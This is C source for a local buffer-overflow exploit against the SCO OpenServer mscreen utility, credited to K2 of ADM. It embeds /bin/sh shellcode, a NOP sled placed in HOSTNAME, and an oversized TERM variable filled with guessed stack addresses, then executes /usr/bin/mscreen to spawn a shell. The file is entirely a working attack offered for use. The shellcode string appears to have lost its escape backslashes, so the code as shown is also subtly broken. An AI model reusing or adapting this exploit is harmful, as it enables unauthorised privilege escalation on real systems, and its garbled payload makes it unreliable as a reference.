/*      Copyright (c) 2000 ADM                                  */
/*      All Rights Reserved                                     */
/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
/*      The copyright notice above does not evidence any        */
/*      actual or intended publication of such source code.     */
/*                                                              */
/*      Title:        SCO OpenServer mscreen                    */
/*      Tested under: SCO OpenServer 5.0.5                      */
/*      By:           K2                                        */
/*      Use:          gcc -o mscreen sco-mscreen.c              */
/*                                                              */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
  /* doble@iname.com */
   "xebx1bx5ex31xdbx89x5ex07x89x5ex0cx88x5ex11x31xc0"
   "xb0x3bx8dx7ex07x89xf9x53x51x56x56xebx10xe8xe0xff"
   "xffxff/bin/shxaaxaaxaaxaax9axaaxaaxaaxaax07xaa";
   
#define SIZE 130
#define NOPDEF 40
#define DEFOFF -200
#define EGG 500

const char x86_nop=0x90;
long nop,esp;
long offset=DEFOFF;
char buffer[SIZE];
char egg[EGG];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[]) {
    int i;
    if (argc > 1) offset += strtol(argv[1], NULL, 0);
    if (argc > 2) nop += strtoul(argv[2], NULL, 0);
    else
        nop = NOPDEF;
    esp = get_esp();
    memset(egg,x86_nop,EGG);
    memcpy(egg+300, shell, strlen(shell));
    memset(buffer, x86_nop, SIZE);
    memcpy(buffer+nop, shell, strlen(shell));
    for (i = 1; i < SIZE-4; i += 4) {
        *((int *) &buffer[i]) = esp+offset;
    }
    memcpy(egg,"HOSTNAME=",9);  /* just playin */
    memcpy(buffer,"TERM=",5);   /* here's the overflow */
    putenv(egg);
    putenv(buffer);
    printf("offset = [0x%x]n",esp+offset);
    execl("/usr/bin/mscreen", "mscreen", NULL);
    printf("exec failed!n");
    return 0;
}


// www.Syue.com [2001-01-26]